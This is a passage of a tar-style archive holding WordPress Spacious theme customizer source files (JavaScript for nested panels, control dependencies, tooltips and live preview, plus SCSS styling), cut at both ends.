0!==e.params.section&&n.push(e)}),n.sort(wp.customize.utils.prioritySort).reverse(),o.each(n,function(e,t){o("#sub-accordion-section-"+t.params.section).children(".section-meta").after(t.headContainer)}),wp.customize.panel.each(function(e){"spacious_panel"===e.params.type&&void 0!==e.params.panel&&t.push(e)}),t.sort(wp.customize.utils.prioritySort).reverse(),o.each(t,function(e,t){o("#sub-accordion-panel-"+t.params.panel).children(".panel-meta").after(t.headContainer)})}),e=wp.customize.Panel.prototype.embed,i=wp.customize.Panel.prototype.isContextuallyActive,t=wp.customize.Panel.prototype.attachEvents,wp.customize.Panel=wp.customize.Panel.extend({attachEvents:function(){var n;"spacious_panel"===this.params.type&&void 0!==this.params.panel?(t.call(this),(n=this).expanded.bind(function(e){var t=wp.customize.panel(n.params.panel);e?t.contentContainer.addClass("current-panel-parent"):t.contentContainer.removeClass("current-panel-parent")}),n.container.find(".customize-panel-back").off("click keydown").on("click keydown",function(e){wp.customize.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()&&wp.customize.panel(n.params.panel).expand())})):t.call(this)},embed:function(){"spacious_panel"===this.params.type&&void 0!==this.params.panel?(e.call(this),o("#sub-accordion-panel-"+this.params.panel).append(this.headContainer)):e.call(this)},isContextuallyActive:function(){var t,n=this,o=0;return"spacious_panel"!==this.params.type?i.call(this):(t=this._children("panel","section"),wp.customize.panel.each(function(e){e.params.panel&&e.params.panel===n.id&&t.push(e)}),t.sort(wp.customize.utils.prioritySort),_(t).each(function(e){e.active()&&e.isContextuallyActive()&&(o+=1)}),0!==o)}}),n=wp.customize.Section.prototype.embed,a=wp.customize.Section.prototype.isContextuallyActive,s=wp.customize.Section.prototype.attachEvents,wp.customize.Section=wp.customize.Section.extend({attachEvents:function(){var n=this;"spacious_section"===this.params.type&&void 0!==this.params.section?(s.call(n),n.expanded.bind(function(e){var t=wp.customize.section(n.params.section);e?t.contentContainer.addClass("current-section-parent"):t.contentContainer.removeClass("current-section-parent")}),n.container.find(".customize-section-back").off("click keydown").on("click keydown",function(e){wp.customize.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()&&wp.customize.section(n.params.section).expand())})):s.call(n)},embed:function(){var e=this;"spacious_section"===this.params.type&&void 0!==this.params.section?(n.call(e),o("#sub-accordion-section-"+this.params.section).append(e.headContainer)):n.call(e)},isContextuallyActive:function(){var t,n=this,o=0;return"spacious_section"!==this.params.type?a.call(this):(t=this._children("section","control"),wp.customize.section.each(function(e){e.params.section&&e.params.section===n.id&&t.push(e)}),t.sort(wp.customize.utils.prioritySort),_(t).each(function(e){void 0!==e.isContextuallyActive?e.active()&&e.isContextuallyActive()&&(o+=1):e.active()&&(o+=1)}),0!==o)}})}(jQuery),jQuery,wp.customize.bind("ready",function(){wp.customize.control.each(function(e,t){var n,o=e.container.find(".customize-control-description");o.length&&(e.container.find(".customize-control-title"),n=o.closest("li"),e=o.text().replace(/[u00A0-u9999<>&]/gim,function(e){return"&#"+e.charCodeAt(0)+";"}),o.remove(),n.append('<i class="spacious-control-tooltip dashicons dashicons-editor-help" title="'+e+'"></i>'))})}),jQuery(document).ready(function(a){a(".customize-control").on("click",".responsive-switchers button",function(e){a(this);var t=a(".responsive-switchers"),n=a(e.currentTarget).data("device"),o=a(".customize-control.has-responsive-switchers"),i=a(".wp-full-overlay"),e=a(".wp-full-overlay-footer .devices");t.find("button").removeClass("active"),t.find("button.preview-"+n).addClass("active"),o.find(".control-wrap").removeClass("active"),o.find(".control-wrap."+n).addClass("active"),i.removeClass("preview-desktop preview-tablet preview-mobile").addClass("preview-"+n),e.find("button").removeClass("active").attr("aria-pressed",!1),e.find("button.preview-"+n).addClass("active").attr("aria-pressed",!0)}),a(".wp-full-overlay-footer .devices").on("click","button",function(e){a(this);var t=a(".customize-control.has-responsive-switchers .responsive-switchers"),n=a(e.currentTarget).data("device"),e=a(".customize-control.has-responsive-switchers");t.find("button").removeClass("active"),t.find("button.preview-"+n).addClass("active"),e.find(".control-wrap").removeClass("active"),e.find(".control-wrap."+n).addClass("active")})}),function(e){e.sectionConstructor["spacious-upsell-section"]=e.Section.extend({attachEvents:function(){},isContextuallyActive:function(){return!0}})}((jQuery,wp.customize));core/assets/js/customizer-dependency.js000066600000022765152367043330014316 0ustar00/** * Customizer dependency controls. * * @package Spacious */ ( function ( $ ) { 'use strict'; /* Internal shorthand */ var api = wp.customize; /** * Helper class for the main Customizer interface. * * @class Spacious_Customizer_FrameWork */ var Spacious_Customizer_FrameWork = { controls : {}, /** * Initializes the logic for showing and hiding controls * when a setting changes. * * @access private * @method init */ init : function () { var $this = this; $this.handleDependency(); $this.hideEmptySections(); api.bind( 'change', function ( setting, data ) { var has_dependents = $this.hasDependentControls( setting.id ); if ( has_dependents ) { $this.handleDependency(); $this.hideEmptySections(); } } ); }, /** * Handles dependency for controls. * * @access private * @method handleDependency */ handleDependency : function () { var $this = this, values = api.get(); $this.checked_controls = {}; _.each( values, function ( value, id ) { var control = api.control( id ); $this.checkControlVisibility( control, id ); } ); }, /** * Hide OR display controls according to dependency * * @access private * @method checkControlVisibility */ checkControlVisibility : function ( control, id ) { var $this = this, values = api.get(); if ( ! _.isUndefined( control ) ) { // If control has dependency defined. if ( 'undefined' != typeof SpaciousCustomizerControlsToggle[id] ) { var check = false, dependency_param = SpaciousCustomizerControlsToggle[id], conditions = ! _.isUndefined( dependency_param.conditions ) ? dependency_param.conditions : dependency_param, operator = ! _.isUndefined( dependency_param.operator ) ? dependency_param.operator : 'AND'; if ( 'undefined' !== typeof conditions ) { check = $this.checkDependency( conditions, values, operator ); this.checked_controls[id] = check; if ( ! check ) { control.container.addClass( 'spacious-hide' ); } else { control.container.removeClass( 'spacious-hide' ); } } } } }, /** * Checks dependency condtions for controls * * @access private * @method checkDependency */ checkDependency : function ( conditions, values, compare_operator ) { var control = this, check = true, returnNow = false, testValue = conditions[0]; if ( _.isString( testValue ) ) { var cond = conditions[1], cond_val = conditions[2], value; if ( ! _.isUndefined( SpaciousCustomizerControlsToggle[testValue] ) ) { var conditions = ! _.isUndefined( SpaciousCustomizerControlsToggle[testValue]['conditions'] ) ? SpaciousCustomizerControlsToggle[testValue]['conditions'] : SpaciousCustomizerControlsToggle[testValue]; var operator = ! _.isUndefined( SpaciousCustomizerControlsToggle[testValue]['operator'] ) ? SpaciousCustomizerControlsToggle[testValue]['operator'] : 'AND'; if ( ! _.isUndefined( conditions ) ) { // Check visibility for dependent controls also. if ( ! control.checkDependency( conditions, values, operator ) ) { returnNow = true; check = false; if ( 'AND' == compare_operator ) { return; } } else { var control_obj = api.control( testValue ); control_obj.container.removeClass( 'spacious-hide' ); } } } if ( ! _.isUndefined( values[testValue] ) && ! returnNow && check ) { value = values[testValue]; check = control.compareValues( value, cond, cond_val ); } } else if ( _.isArray( testValue ) ) { $.each( conditions, function ( index, val ) { var cond_key = val[0], cond_cond = val[1], cond_val = val[2], test_val = ! _.isUndefined( values[cond_key] ) ? values[cond_key] : ''; if ( 'undefined' !== typeof SpaciousCustomizerControlsToggle[cond_key] ) { var conditions = ! _.isUndefined( SpaciousCustomizerControlsToggle[cond_key]['conditions'] ) ? SpaciousCustomizerControlsToggle[cond_key]['conditions'] : SpaciousCustomizerControlsToggle[cond_key]; var operator = ! _.isUndefined( SpaciousCustomizerControlsToggle[cond_key]['operator'] ) ? SpaciousCustomizerControlsToggle[cond_key]['operator'] : 'AND'; if ( ! _.isUndefined( conditions ) ) { // Check visibility for dependent controls also. if ( ! control.checkDependency( conditions, values, operator ) ) { check = false; if ( 'AND' == compare_operator ) { return; } } else { check = true; var control_obj = api.control( cond_key ); control_obj.container.removeClass( 'spacious-hide' ); } } } else { check = true; } if ( check ) { if ( 'AND' == compare_operator ) { if ( ! control.compareValues( test_val, cond_cond, cond_val ) ) { check = false; return false; } } else { if ( control.compareValues( test_val, cond_cond, cond_val ) ) { returnNow = true; check = true; } else { check = false; } } } } ); // Break loop in case of OR operator. if ( returnNow && 'OR' == compare_operator ) { check = true; } } return check; }, /** * Compare values of the dependent controls. * * @access private * @method compareValues */ compareValues : function ( value1, condition, value2 ) { var equal = false; switch ( condition ) { case '===': equal = ( value1 === value2 ) ? true : false; break; case '>': equal = ( value1 > value2 ) ? true : false; break; case '<': equal = ( value1 < value2 ) ? true : false; break; case '<=': equal = ( value1 <= value2 ) ? true : false; break; case '>=': equal = ( value1 >= value2 ) ? true : false; break; case '!=': equal = ( value1 != value2 ) ? true : false; break; case 'empty': var _v = _.clone( value1 ); if ( _.isObject( _v ) || _.isArray( _v ) ) { _.each( _v, function ( v, i ) { if ( _.isEmpty( v ) ) { delete _v[i]; } } ); equal = _.isEmpty( _v ) ? true : false; } else { equal = _.isNull( _v ) || _v == '' ? true : false; } break; case 'not_empty': var _v = _.clone( value1 ); if ( _.isObject( _v ) || _.isArray( _v ) ) { _.each( _v, function ( v, i ) { if ( _.isEmpty( v ) ) { delete _v[i]; } } ) } equal = _.isEmpty( _v ) ? false : true; break; case 'contains': if ( _.isArray( value1 ) ) { if ( $.inArray( value2, value1 ) !== - 1 ) { equal = true; } } break; default: if ( _.isArray( value2 ) ) { if ( ! _.isEmpty( value2 ) && ! _.isEmpty( value1 ) ) { equal = _.contains( value2, value1 ); } else { equal = false; } } else { equal = ( value1 == value2 ) ? true : false; } break; } return equal; }, /** * Hide Section without Controls. */ hideEmptySections : function () { $( 'ul.accordion-section.control-section-spacious_section' ).each( function () { var parentId = $( this ).attr( 'id' ), visibleIt = false, controls = $( this ).find( ' > .customize-control' ); if ( controls.length > 0 ) { controls.each( function () { if ( ! $( this ).hasClass( 'spacious-hide' ) && $( this ).css( 'display' ) != 'none' ) { visibleIt = true; } } ); if ( ! visibleIt ) { $( '.control-section[aria-owns="' + parentId + '"]' ).addClass( 'spacious-hide' ); } else { $( '.control-section[aria-owns="' + parentId + '"]' ).removeClass( 'spacious-hide' ); } } } ); }, hasDependentControls : function ( control_id ) { var check = false; $.each( SpaciousCustomizerControlsToggle, function ( index, val ) { if ( ! _.isUndefined( val.conditions ) ) { var conditions = val.conditions; $.each( conditions, function ( index, val ) { var control = val[0]; if ( control_id == control ) { check = true; return; } } ); } else { var control = val[0]; if ( control_id == control ) { check = true; return; } } } ); return check; }, }; $( function () { Spacious_Customizer_FrameWork.init(); } ); } )( jQuery ); core/assets/js/customizer-controls-toggle.min.js000066600000000522152367043330016067 0ustar00!function(g){wp.customize;SpaciousControlTrigger={triggerHook:function(o,r){g("body").trigger("spacious-control-trigger."+o,r)},addHook:function(o,r){g("body").on("spacious-control-trigger."+o,r)},removeHook:function(o,r){g("body").off("spacious-control-trigger."+o,r)}},SpaciousCustomizerToggles={spacious_header_image_link:[]}}(jQuery);core/assets/js/extend-customizer.js000066600000025560152367043330013463 0ustar00/** * Nesting customize panels and sections. */ ( function ( $ ) { var _panelEmbed, _panelIsContextuallyActive, _panelAttachEvents, _sectionEmbed, _sectionIsContextuallyActive, _sectionAttachEvents; wp.customize.bind( 'pane-contents-reflowed', function () { var panels = [], sections = []; // Reflow sections. wp.customize.section.each( function ( section ) { if ( 'spacious_section' !== section.params.type || 'undefined' === typeof section.params.section ) { return; } sections.push( section ); } ); sections.sort( wp.customize.utils.prioritySort ).reverse(); $.each( sections, function ( i, section ) { var parentContainer = $( '#sub-accordion-section-' + section.params.section ); parentContainer .children( '.section-meta' ) .after( section.headContainer ); } ); // Reflow panels. wp.customize.panel.each( function ( panel ) { if ( 'spacious_panel' !== panel.params.type || 'undefined' === typeof panel.params.panel ) { return; } panels.push( panel ); } ); panels.sort( wp.customize.utils.prioritySort ).reverse(); $.each( panels, function ( i, panel ) { var parentContainer = $( '#sub-accordion-panel-' + panel.params.panel ); parentContainer.children( '.panel-meta' ).after( panel.headContainer ); } ); } ); // Extend Panel. _panelEmbed = wp.customize.Panel.prototype.embed; _panelIsContextuallyActive = wp.customize.Panel.prototype.isContextuallyActive; _panelAttachEvents = wp.customize.Panel.prototype.attachEvents; wp.customize.Panel = wp.customize.Panel.extend( { attachEvents : function () { var panel; if ( 'spacious_panel' !== this.params.type || 'undefined' === typeof this.params.panel ) { _panelAttachEvents.call( this ); return; } _panelAttachEvents.call( this ); panel = this; panel.expanded.bind( function ( expanded ) { var parent = wp.customize.panel( panel.params.panel ); if ( expanded ) { parent.contentContainer.addClass( 'current-panel-parent' ); } else { parent.contentContainer.removeClass( 'current-panel-parent' ); } } ); panel.container .find( '.customize-panel-back' ) .off( 'click keydown' ) .on( 'click keydown', function ( event ) { if ( wp.customize.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); // Keep this AFTER the key filter above. if ( panel.expanded() ) { wp.customize.panel( panel.params.panel ).expand(); } } ); }, embed : function () { var panel = this, parentContainer; if ( 'spacious_panel' !== this.params.type || 'undefined' === typeof this.params.panel ) { _panelEmbed.call( this ); return; } _panelEmbed.call( this ); parentContainer = $( '#sub-accordion-panel-' + this.params.panel ); parentContainer.append( panel.headContainer ); }, isContextuallyActive : function () { var panel = this, children, activeCount = 0; if ( 'spacious_panel' !== this.params.type ) { return _panelIsContextuallyActive.call( this ); } children = this._children( 'panel', 'section' ); wp.customize.panel.each( function ( child ) { if ( ! child.params.panel ) { return; } if ( child.params.panel !== panel.id ) { return; } children.push( child ); } ); children.sort( wp.customize.utils.prioritySort ); _( children ).each( function ( child ) { if ( child.active() && child.isContextuallyActive() ) { activeCount += 1; } } ); return ( 0 !== activeCount ); } } ); // Extend Section. _sectionEmbed = wp.customize.Section.prototype.embed; _sectionIsContextuallyActive = wp.customize.Section.prototype.isContextuallyActive; _sectionAttachEvents = wp.customize.Section.prototype.attachEvents; wp.customize.Section = wp.customize.Section.extend( { attachEvents : function () { var section = this; if ( 'spacious_section' !== this.params.type || 'undefined' === typeof this.params.section ) { _sectionAttachEvents.call( section ); return; } _sectionAttachEvents.call( section ); section.expanded.bind( function ( expanded ) { var parent = wp.customize.section( section.params.section ); if ( expanded ) { parent.contentContainer.addClass( 'current-section-parent' ); } else { parent.contentContainer.removeClass( 'current-section-parent' ); } } ); section.container .find( '.customize-section-back' ) .off( 'click keydown' ) .on( 'click keydown', function ( event ) { if ( wp.customize.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); // Keep this AFTER the key filter above. if ( section.expanded() ) { wp.customize.section( section.params.section ).expand(); } } ); }, embed : function () { var section = this, parentContainer; if ( 'spacious_section' !== this.params.type || 'undefined' === typeof this.params.section ) { _sectionEmbed.call( section ); return; } _sectionEmbed.call( section ); parentContainer = $( '#sub-accordion-section-' + this.params.section ); parentContainer.append( section.headContainer ); }, isContextuallyActive : function () { var section = this, children, activeCount = 0; if ( 'spacious_section' !== this.params.type ) { return _sectionIsContextuallyActive.call( this ); } children = this._children( 'section', 'control' ); wp.customize.section.each( function ( child ) { if ( ! child.params.section ) { return; } if ( child.params.section !== section.id ) { return; } children.push( child ); } ); children.sort( wp.customize.utils.prioritySort ); _( children ).each( function ( child ) { if ( 'undefined' !== typeof child.isContextuallyActive ) { if ( child.active() && child.isContextuallyActive() ) { activeCount += 1; } } else { if ( child.active() ) { activeCount += 1; } } } ); return ( 0 !== activeCount ); } } ); } )( jQuery ); /** * Description of controls via tooltip. */ ( function ( $ ) { wp.customize.bind( 'ready', function () { wp.customize.control.each( function ( ctrl, i ) { var description = ctrl.container.find( '.customize-control-description' ); if ( description.length ) { var title, li_wrapper, tooltip; title = ctrl.container.find( '.customize-control-title' ); li_wrapper = description.closest( 'li' ); tooltip = description.text().replace( /[u00A0-u9999<>&]/gim, function ( i ) { return '&#' + i.charCodeAt( 0 ) + ';'; } ); // Remove the description from displaying below the controller's label. description.remove(); // Add the help icon in description of customize controls. li_wrapper.append( '<i class="spacious-control-tooltip dashicons dashicons-editor-help" title="' + tooltip + '"></i>' ); } } ); } ); } )( jQuery ); /** * Responsive devices mode click event. */ jQuery( document ).ready( function ( $ ) { // Responsive switcher button click. $( '.customize-control' ).on( 'click', '.responsive-switchers button', function ( event ) { // Set up variables. var self = $( this ), devices = $( '.responsive-switchers' ), device = $( event.currentTarget ).data( 'device' ), control = $( '.customize-control.has-responsive-switchers' ), body = $( '.wp-full-overlay' ), footer_devices = $( '.wp-full-overlay-footer .devices' ); // Switching the button class. devices.find( 'button' ).removeClass( 'active' ); devices.find( 'button.preview-' + device ).addClass( 'active' ); // Switching the control class. control.find( '.control-wrap' ).removeClass( 'active' ); control.find( '.control-wrap.' + device ).addClass( 'active' ); // Switching wrapper class. body.removeClass( 'preview-desktop preview-tablet preview-mobile' ).addClass( 'preview-' + device ); // Switching panel footer buttons. footer_devices.find( 'button' ).removeClass( 'active' ).attr( 'aria-pressed', false ); footer_devices.find( 'button.preview-' + device ).addClass( 'active' ).attr( 'aria-pressed', true ); } ); // If panel footer buttons clicked. $( '.wp-full-overlay-footer .devices' ).on( 'click', 'button', function ( event ) { // Set up variables. var self = $( this ), devices = $( '.customize-control.has-responsive-switchers .responsive-switchers' ), device = $( event.currentTarget ).data( 'device' ), control = $( '.customize-control.has-responsive-switchers' ); // Switching the button class. devices.find( 'button' ).removeClass( 'active' ); devices.find( 'button.preview-' + device ).addClass( 'active' ); // Switching the control class. control.find( '.control-wrap' ).removeClass( 'active' ); control.find( '.control-wrap.' + device ).addClass( 'active' ); } ); } ); /** * Extend the Customize section to make it clickable. * * Currently used for the Spacious Upseel section only. */ ( function ( $, api ) { api.sectionConstructor[ 'spacious-upsell-section' ] = api.Section.extend( { // No events for this type of section. attachEvents: function () { }, // Always make the section active. isContextuallyActive: function () { return true; } } ); } )( jQuery, wp.customize ); core/assets/js/customize-preview.js000066600000005720152367043330013467 0ustar00/** * File customizer.js. * * Theme Customizer enhancements for a better user experience. * * Contains handlers to make Theme Customizer preview reload changes asynchronously. */ ( function ( $ ) { // Site title. wp.customize( 'blogname', function ( value ) { value.bind( function ( to ) { $( '#site-title a' ).text( to ); } ); } ); // Site description. wp.customize( 'blogdescription', function ( value ) { value.bind( function ( to ) { $( '#site-description' ).text( to ); } ); } ); // Header display type. wp.customize( 'spacious_header_display_type', function ( value ) { value.bind( function ( layout ) { var display_type = layout; if ( display_type === 'type_two' ) { $( 'body' ).removeClass( 'header_display_type_two' ).addClass( 'header_display_type_one' ); } else if ( display_type === 'type_three' ) { $( 'body' ).removeClass( 'header_display_type_one' ).addClass( 'header_display_type_two' ); } else if ( display_type === 'type_one' ) { $( 'body' ).removeClass( 'header_display_type_one header_display_type_two' ); } } ); } ); // Site Layout Option. wp.customize( 'spacious_site_layout', function ( value ) { value.bind( function ( layout ) { var site_layout = layout; if ( 'wide_layout' === site_layout ) { $( 'body' ).removeClass( 'box-layout' ).addClass( 'wide' ); } else if ( 'boxed_layout' === site_layout ) { $( 'body' ).removeClass( 'wide' ).addClass( 'box-layout' ); } } ); } ); // Footer copyright alignment. wp.customize( 'spacious_footer_copyright_alignment_setting', function ( value ) { value.bind( function ( alignment ) { var alignment_type = alignment; if ( alignment_type === 'left' ) { $( '#colophon' ).removeClass( 'copyright-right copyright-center' ); } else if ( alignment_type === 'right' ) { $( '#colophon' ).removeClass( 'copyright-center' ).addClass( 'copyright-right' ); } else if ( alignment_type === 'center' ) { $( '#colophon' ).removeClass( 'copyright-right' ).addClass( 'copyright-center' ); } } ); } ); // Footer Main Area Display Type. wp.customize( 'spacious_main_footer_layout_display_type', function ( value ) { value.bind( function ( layout ) { var display_type = layout; if ( display_type === 'type_two' ) { $( '#colophon' ).removeClass( 'spacious-footer--classic-bordered' ).addClass( 'spacious-footer--classic' ); } else if ( display_type === 'type_three' ) { $( '#colophon' ).removeClass( 'spacious-footer--classic' ).addClass( 'spacious-footer--classic-bordered' ); } else if ( display_type === 'type_one' ) { $( '#colophon' ).removeClass( 'spacious-footer--classic spacious-footer--classic-bordered' ); } } ); } ); } )( jQuery ); core/assets/js/customizer-dependency.min.js000066600000006517152367043330015075 0ustar00!function(t){"use strict";var C=wp.customize,o={controls:{},init:function(){var n=this;n.handleDependency(),n.hideEmptySections(),C.bind("change",function(o,e){n.hasDependentControls(o.id)&&(n.handleDependency(),n.hideEmptySections())})},handleDependency:function(){var i=this,o=C.get();i.checked_controls={},_.each(o,function(o,e){var n=C.control(e);i.checkControlVisibility(n,e)})},checkControlVisibility:function(o,e){var n,i,r,t=C.get();_.isUndefined(o)||void 0!==SpaciousCustomizerControlsToggle[e]&&(n=!1,r=SpaciousCustomizerControlsToggle[e],i=_.isUndefined(r.conditions)?r:r.conditions,r=_.isUndefined(r.operator)?"AND":r.operator,void 0!==i&&(n=this.checkDependency(i,t,r),(this.checked_controls[e]=n)?o.container.removeClass("spacious-hide"):o.container.addClass("spacious-hide")))},checkDependency:function(o,a,c){var l=this,d=!0,g=!1,e=o[0];if(_.isString(e)){var n=o[1],i=o[2];if(!_.isUndefined(SpaciousCustomizerControlsToggle[e])){var o=_.isUndefined(SpaciousCustomizerControlsToggle[e].conditions)?SpaciousCustomizerControlsToggle[e]:SpaciousCustomizerControlsToggle[e].conditions,r=_.isUndefined(SpaciousCustomizerControlsToggle[e].operator)?"AND":SpaciousCustomizerControlsToggle[e].operator;if(!_.isUndefined(o))if(l.checkDependency(o,a,r))C.control(e).container.removeClass("spacious-hide");else if(d=!(g=!0),"AND"==c)return}_.isUndefined(a[e])||g||!d||(r=a[e],d=l.compareValues(r,n,i))}else _.isArray(e)&&(t.each(o,function(o,e){var n=e[0],i=e[1],r=e[2],t=_.isUndefined(a[n])?"":a[n];if(void 0!==SpaciousCustomizerControlsToggle[n]){var s=_.isUndefined(SpaciousCustomizerControlsToggle[n].conditions)?SpaciousCustomizerControlsToggle[n]:SpaciousCustomizerControlsToggle[n].conditions,e=_.isUndefined(SpaciousCustomizerControlsToggle[n].operator)?"AND":SpaciousCustomizerControlsToggle[n].operator;if(!_.isUndefined(s))if(l.checkDependency(s,a,e))d=!0,C.control(n).container.removeClass("spacious-hide");else if(d=!1,"AND"==c)return}else d=!0;if(d)if("AND"==c){if(!l.compareValues(t,i,r))return d=!1}else d=!!l.compareValues(t,i,r)&&(g=!0)}),g&&"OR"==c&&(d=!0));return d},compareValues:function(o,e,n){var i=!1;switch(e){case"===":i=o===n;break;case">":i=n<o;break;case"<":i=o<n;break;case"<=":i=o<=n;break;case">=":i=n<=o;break;case"!=":i=o!=n;break;case"empty":var r=_.clone(o),i=_.isObject(r)||_.isArray(r)?(_.each(r,function(o,e){_.isEmpty(o)&&delete r[e]}),!!_.isEmpty(r)):!(!_.isNull(r)&&""!=r);break;case"not_empty":r=_.clone(o);(_.isObject(r)||_.isArray(r))&&_.each(r,function(o,e){_.isEmpty(o)&&delete r[e]}),i=!_.isEmpty(r);break;case"contains":_.isArray(o)&&-1!==t.inArray(n,o)&&(i=!0);break;default:i=_.isArray(n)?!_.isEmpty(n)&&!_.isEmpty(o)&&_.contains(n,o):o==n}return i},hideEmptySections:function(){t("ul.accordion-section.control-section-spacious_section").each(function(){var o=t(this).attr("id"),e=!1,n=t(this).find(" > .customize-control");0<n.length&&(n.each(function(){t(this).hasClass("spacious-hide")||"none"==t(this).css("display")||(e=!0)}),e?t('.control-section[aria-owns="'+o+'"]').removeClass("spacious-hide"):t('.control-section[aria-owns="'+o+'"]').addClass("spacious-hide"))})},hasDependentControls:function(i){var r=!1;return t.each(SpaciousCustomizerControlsToggle,function(o,e){if(_.isUndefined(e.conditions)){var n=e[0];if(i==n)return void(r=!0)}else{e=e.conditions;t.each(e,function(o,e){e=e[0];i!=e||(r=!0)})}}),r}};t(function(){o.init()})}(jQuery);core/assets/js/customizer-controls.js000066600000003760152367043330014035 0ustar00/** * Customizer controls. * * @package Spacious */ ( function ( $ ) { /* Internal shorthand */ var api = wp.customize; /** * Helper class for the main Customizer interface. * * @class SpaciousCustomizer */ SpaciousCustomizer = { controls : {}, /** * Initializes our custom logic for the Customizer. * * @method init */ init : function () { SpaciousCustomizer._initToggles(); }, /** * Initializes the logic for showing and hiding controls * when a setting changes. * * @since 1.0.0 * @access private * @method _initToggles */ _initToggles : function () { // Trigger the Adv Tab Click trigger. SpaciousControlTrigger.triggerHook( 'spacious-toggle-control', api ); // Loop through each setting. $.each( SpaciousCustomizerToggles, function ( settingId, toggles ) { // Get the setting object. api( settingId, function ( setting ) { // Loop though the toggles for the setting. $.each( toggles, function ( i, toggle ) { // Loop through the controls for the toggle. $.each( toggle.controls, function ( k, controlId ) { // Get the control object. api.control( controlId, function ( control ) { // Define the visibility callback. var visibility = function ( to ) { control.container.toggle( toggle.callback( to ) ); }; // Init visibility. visibility( setting.get() ); // Bind the visibility callback to the setting. setting.bind( visibility ); } ); } ); } ); } ); } ); } }; $( function () { SpaciousCustomizer.init(); } ); } )( jQuery ); core/assets/js/customize-preview.min.js000066600000003034152367043330014245 0ustar00!function(e){wp.customize("blogname",function(o){o.bind(function(o){e("#site-title a").text(o)})}),wp.customize("blogdescription",function(o){o.bind(function(o){e("#site-description").text(o)})}),wp.customize("spacious_header_display_type",function(o){o.bind(function(o){"type_two"===o?e("body").removeClass("header_display_type_two").addClass("header_display_type_one"):"type_three"===o?e("body").removeClass("header_display_type_one").addClass("header_display_type_two"):"type_one"===o&&e("body").removeClass("header_display_type_one header_display_type_two")})}),wp.customize("spacious_site_layout",function(o){o.bind(function(o){"wide_layout"===o?e("body").removeClass("box-layout").addClass("wide"):"boxed_layout"===o&&e("body").removeClass("wide").addClass("box-layout")})}),wp.customize("spacious_footer_copyright_alignment_setting",function(o){o.bind(function(o){"left"===o?e("#colophon").removeClass("copyright-right copyright-center"):"right"===o?e("#colophon").removeClass("copyright-center").addClass("copyright-right"):"center"===o&&e("#colophon").removeClass("copyright-right").addClass("copyright-center")})}),wp.customize("spacious_main_footer_layout_display_type",function(o){o.bind(function(o){"type_two"===o?e("#colophon").removeClass("spacious-footer--classic-bordered").addClass("spacious-footer--classic"):"type_three"===o?e("#colophon").removeClass("spacious-footer--classic").addClass("spacious-footer--classic-bordered"):"type_one"===o&&e("#colophon").removeClass("spacious-footer--classic spacious-footer--classic-bordered")})})}(jQuery);core/assets/js/customizer-controls-toggle.js000066600000002557152367043330015317 0ustar00/** * Customizer controls toggle. * * @package Spacious */ ( function ( $ ) { /* Internal shorthand */ var api = wp.customize; /** * Trigger hooks */ SpaciousControlTrigger = { /** * Trigger a hook. * * @method triggerHook * @param {String} hook The hook to trigger. * @param {Array} args An array of args to pass to the hook. */ triggerHook : function ( hook, args ) { $( 'body' ).trigger( 'spacious-control-trigger.' + hook, args ); }, /** * Add a hook. * * @method addHook * @param {String} hook The hook to add. * @param {Function} callback A function to call when the hook is triggered. */ addHook : function ( hook, callback ) { $( 'body' ).on( 'spacious-control-trigger.' + hook, callback ); }, /** * Remove a hook. * * @method removeHook * @param {String} hook The hook to remove. * @param {Function} callback The callback function to remove. */ removeHook : function ( hook, callback ) { $( 'body' ).off( 'spacious-control-trigger.' + hook, callback ); } }; /** * Helper class that contains data for showing and hiding controls. * * @class SpaciousCustomizerToggles */ SpaciousCustomizerToggles = { 'spacious_header_image_link' : [], }; } )( jQuery ); core/assets/scss/extend-customizer.scss000066600000010446152367043330014356 0ustar00@import "../../custom-controls/assets/scss/variables"; a{ color:$color-blue; &:focus{ box-shadow: 0 0 0 1px rgba($color-blue,0.8); } } .button{ background: $color-light-gray; border-color: $color-blue; color:$color-blue; font-weight: 600; transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1); &:hover{ background: $color-white; color:$color-blue; } } .select2-container--default{ .select2-selection--single{ .select2-selection__arrow{ b{ margin-top: 0; } } } } .tg-section-separator { display: block !important; margin-top: 4px; } .customize-section-description { .spacious-section-description { ul { margin: 0; > li { list-style: none; &:last-child { margin-bottom: 0; } } } a { font-style: italic; } } } .customize-control { background:#fff; box-sizing: border-box; margin-bottom: 0; padding: 10px; position: relative; .customize-control-title { color:$color-black; font-size:14px; font-weight: 600; margin-bottom:0px; } .spacious-control-tooltip { position: absolute; right: 10px; top: 9px; &:hover { cursor: pointer; } } .attachment-media-view{ .button-add-media{ background: $color-light-gray; &:hover{ background: $color-white; } } } select, input[type]:not([type=range]):not([type=button]):not([type=submit]):not([type=checkbox]):not([type=radio]), .select2-selection--single{ border-color:$color-gray; border-radius: 2px; height: 33px; } .customize-inside-control-row { padding-bottom: 0; padding-top: 0; } &.customize-control-radio, &.customize-control-checkbox { .customize-inside-control-row { padding-bottom: 6px; padding-top: 6px; } } &.has-responsive-switchers { .responsive-switchers { position: absolute; right: 0; top: -3px; li { float: left; line-height: 0; margin: 0; padding-right:2px; button { background: transparent; border: none; color: rgba($color-black, 0.5); cursor: pointer; outline: none; padding: 2px; i { font-size: 14px; line-height: 20px; } &.active { color: $color-blue; } } } } .control-wrap { &:not(.active) { display: none; width: 100%; } } } } #customize-theme-controls { .in-sub-panel & { .customize-pane-child.current-panel-parent { transform: translateX(-100%); } } .customize-pane-child.current-section-parent { transform: translateX(-100%); } .control-section { &.open { height: 100%; } &.control-section-spacious_section { .accordion-section { margin-left: -12px; margin-right: -12px; } .accordion-section-title { background-color: $color-white; border-bottom: 1px solid $color-light-gray; border-left: 4px solid $color-white; color: $color-black; transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; } .accordion-section-title:after { color: #a0a5aa; } .accordion-section-title:hover, .accordion-section-title:focus { background: #f3f3f5; border-left-color: $color-blue; color: $color-blue; } .accordion-section-title:hover:after { color: $color-blue; } } } } #customize-theme-controls{ .accordion-section-title{ border-color:$color-light-gray; color: $color-black; font-weight: 600; &:hover,&:focus{ border-left-color: $color-blue; color: $color-blue; } } } .spacious-hide { display: none !important; } .customize-control-checkbox, .customize-control-radio{ padding-bottom: 5px; padding-top: 5px; } #accordion-section-spacious_customize_upsell_section { h3 { 